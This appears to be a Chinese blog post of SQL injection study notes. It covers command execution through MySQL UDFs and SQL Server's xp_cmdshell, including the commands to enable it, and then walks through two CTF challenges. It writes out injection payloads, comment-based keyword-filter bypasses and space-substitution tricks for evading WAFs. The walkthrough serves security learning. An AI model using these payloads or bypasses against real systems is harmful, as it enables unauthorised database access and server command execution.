SQL学习
Posted Yable
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL学习相关的知识,希望对你有一定的参考价值。
一、命令执行,UDF(User-Defined Functions)
mysql中,除了可以通过webshell间接执行命令外还可以通过UDF来执行命令。此功能已经集成到Sqlmap中了。
通过lib_mysqludf_sys提供的几个函数来执行系统命令,其中的两个重要的函数:sys_eval()和sys_exec()。函数如下:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
二、攻击存储过程:
在SQL Server中存储过程“xp_cmdshell” 可谓是臭名昭著了,xp_cmdshell扩展存储过程讲命令字符串作为操作系统命令shell执行,并以文本的形式返回所有输出。
使用:
EXEC master.dbo.xp_cmdshell \'cmd.exe dir c:\' EXEC master.dbo.xp_cmdshell \'ping \'
分别为通过数据库master,利用xp_cmdshell 来执行cmd 和 ping。
开启方式:
1、使用sql语句开启
通过查询分析器,选择Master数据库,然后执行以下SQL内容:
sp_configure \'show advanced options\',1 reconfigure go sp_configure \'xp_cmdshell\',1 reconfigure go
执行后结果:
配置选项 \'show advanced options\' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 \'xp_cmdshell\' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
注:如需关闭只需将“sp_configure \'xp_cmdshell\',1”改为“sp_configure \'xp_cmdshell\',0”即可。
2、SQL SERVER "外围应用配置器"开启:https://www.cnblogs.com/TBW-Superhero/p/6871982.html。
除了xp_cmdshell外,还有一些其他的存储过程也可以利用,例如xp_regread可以操作注册表,xp_servicecontrol(允许用用户,启动、停止服务)。
3、存储过程本身也可能存在注入漏洞,加入参数由外部传入,并且没有经过任何处理,进有可能造成注入。
……………………………………………………………………………………………………………………………………………………
下面我们来做一到题:
简单的sql注入:http://ctf5.shiyanbar.com/423/web/
进入链接,看题目:
题目是sql注入,我们来试一下:输入一个1,看效果:
显示是正常的,在输入1\',看效果:
说明\'是可以影响SQL语句的,并没有被过滤掉,继续我们来试一试id=1\' or \'\'=\',发现空格和or关键字都没有被过滤,
再来看看and关键字,令id=1\' and 1=1or \'\'=\',发现报错,讲and换成大写也不行,被过滤了。
来绕过,尝试(),/**/,/*!*/等方法绕过,发现/*!关键字*/的方法是可以绕过的:
那好了,现在可以使用关键字了,下面我们来猜测表名:
id=\' or /*!exists*/ (/*!select*/ * /*!from*/ admin)/*!and*/ \'\'=\'【id=\' or exists (select * from admin) and \'\'=\'】
说admin不存在,那我们换一个表名flag:id=\' or /*!exists*/ (/*!select*/ * /*!from*/ flag)/*!and*/ \'\'=\',
(也可以使用这个:id= \' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ \'1\'=\'1)成功了!
EXISTS表示存在量词:用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,只返回逻辑值“True”或“False”。
猜测列名id和name,都是存在的:
联合查询看列数:id = \' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ \'\'=\'
构造id= \' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ \'\'=\' ,看效果
显示出了flag,这道题主要思路就是绕过过滤和猜测表名。
来看第二道题:http://ctf5.shiyanbar.com/web/index_2.php
有了上一题的经验,我们先检测看这个到底过滤了什么:
分别输入\'和\' 可以判断空格是被过滤了的,我们可以知道,可以使用%0a %0d %09 %0b /**/ /*!*/ /*!50000*/
来代替空格,这里我们选用/**/。
然后尝试or和and关键字以及union看看是否被过滤,发现都可以正常使用,甚至#都可以正常使用,简直神奇;于是构造:
id=\'/**/and/**/0=1/**/union/**/select/**/flag/**/from/**/flag#
小结:
tip1:在Mysql中构造sql注入时,where后面的单引号完全可以直接使用\'\'=\'\'
来闭合,表示永真,而不一定需要\'1\'=\'1\'
这种格式。
tip 2:当关键字被过滤掉的时候,可以使用/**/或者/*!*/括起来的方式来绕过检测过滤
tip 3:常用来绕过WAF或过滤函数以代替空格的字符有这些:%0a %0d %09 %0b /**/ /*!*/ /*!50000*/
以及()
tip 4:在get型注入中,如果or被过滤,则可以使用|代替,如 ...where search=\'\'|\'1\';
以上是关于SQL学习的主要内容,如果未能解决你的问题,请参考以下文章
sql 日期转换代码片段 - Dato,120,konvertere